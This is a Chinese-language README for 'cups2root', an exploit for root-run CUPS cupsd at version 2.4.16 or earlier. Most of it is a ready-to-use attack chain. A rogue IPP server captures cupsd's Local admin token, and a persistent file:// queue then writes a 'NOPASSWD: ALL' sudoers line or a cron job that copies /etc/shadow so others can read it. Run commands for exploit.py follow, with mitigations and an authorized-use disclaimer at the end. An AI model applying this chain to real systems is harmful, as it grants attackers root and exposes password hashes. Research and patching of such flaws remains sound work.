
针对 root `cupsd` 的本地权限提升。
cups2root,去框架化)CVSS 3.x : 8.4 HIGH (约值 — 请核实)
CWE : CWE-287(认证不当)+ CWE-269(权限管理不当)
修复 : CUPS 2.4.17+
影响 : CUPS ≤ 2.4.16,且 cupsd 以 root 运行、631 端口可在本地访问
针对以 root 运行的 cupsd 的本地权限提升。当 cupsd 被诱骗充当 IPP 客户端、向一个恶意的本地服务器发起请求时,cupsd 会响应 401 WWW-Authenticate: Local 质询,重放自己的管理员令牌。捕获该令牌后,非特权用户即可像管理员(root)一样驱动 cupsd。一个持久化的 file:// 打印队列(printer-is-temporary=false)可绕过 FileDevice 策略,因此一个原始的 Print-Job 就能以 root 身份将攻击者字节写入任意路径——此处写入的是一个 NOPASSWD sudoers 片段。
两个原语串联形成任意 root 文件写入:
Local 认证。 cupsd 接受由 /run/cups/certs/ 下的 root 证书支持的 Local 认证。当充当 IPP 客户端时,它会在收到 401 WWW-Authenticate: Local 质询时主动提供该管理员令牌。将 cupsd 指向你控制的伪造 IPP 服务器,你就能捕获一个可用于以 root 身份驱动它的令牌。file:// 作为 device-uri 会被拒绝。使用 printer-is-temporary=false 创建队列会使其持久化,并绕过该防护;随后一个原始的 Print-Job 会将其字节直接以 root 身份写入目标文件。 cupsd (root) rogue server 127.0.0.1:9189
| |
CUPS-Create-Local-Printer |
device-uri=ipp://127.0.0.1:9189/ipp/print |
| "validate" the printer |
|----------------------------------->|
| 401 WWW-Authenticate: Local |
|<-----------------------------------|
| retry + Authorization: Local <T> |
|----------------------------------->| capture <T>
<T> 是 cupsd 自己的管理员令牌——将其重放至 /admin/,你就等同于 root。
1. Cap thread bind 127.0.0.1:9189, answer 401 Local, capture token
2. Coerce CUPS-Create-Local-Printer -> device-uri ipp://127.0.0.1:9189/...
-> cupsd connects out -> 401 -> retry -> [+] Local token
3. Root write CUPS-Add-Modify-Printer device-uri=file:///etc/sudoers.d/<user>-pwn
printer-is-temporary=false (FileDevice bypass) + accept + resume
Print-Job (application/vnd.cups-raw, gzip) = "<user> ALL=(ALL) NOPASSWD: ALL"
4. Verify sudo -n id -> root
(fallback: a root cron job dropped to /etc/cron.d/<user>-pwn copies /etc/shadow
to /tmp/shadow-<user> mode 644; wait ≤90s for cron)
参考 PoC(GHSA-c54j-2vqw-wpwp / cups2root,R. de Jager)是一个演示框架:它以 root 运行,启动自己的 cupsd 和一个一次性的 unpriv 用户,然后通过 sudo -u unpriv 模拟攻击者。无法按原样使用。改动如下:
127.0.0.1:631 上已以 root 运行的系统 cupsd。$ATTACKER);片段为 <user> ALL=(ALL) NOPASSWD: ALL。ipptool / lpadmin / lpinfo / cupsctl| 状态 | 版本 |
|---|---|
| 存在漏洞 | CUPS ≤ 2.4.16 |
| 已修复 | CUPS 2.4.17 及更高版本 |
| 文件 | 作用 |
|---|---|
exploit.py | PoC:令牌泄露 → file:// 队列 → 原始 Print-Job → sudoers root |
README.md | 本文件 |
仅使用 Python 3 标准库——无依赖。
# attacker = current user, cupsd on 127.0.0.1:631
python3 exploit.py
# override the target user (e.g. after landing as anotheruser)
ATTACKER=anotheruser python3 exploit.py
# non-default cupsd / capture endpoint
IPP_HOST=127.0.0.1 IPP_PORT=631 CAPTURE_PORT=9189 python3 exploit.py
成功时:
[+] Local token: <token>
[+] ROOT via sudoers
然后执行 sudo -i。
cupsd;降低权限 / 对服务进行沙箱隔离。Local 认证和 file:// 设备后端;对持久化队列保持 FileDevice 策略强制执行。systemctl disable --now cups cups-browsed 并移除该软件包。本项目仅用于授权的安全测试、教育和防御性研究。你有责任遵守适用法律以及你的实验室或客户的交战规则。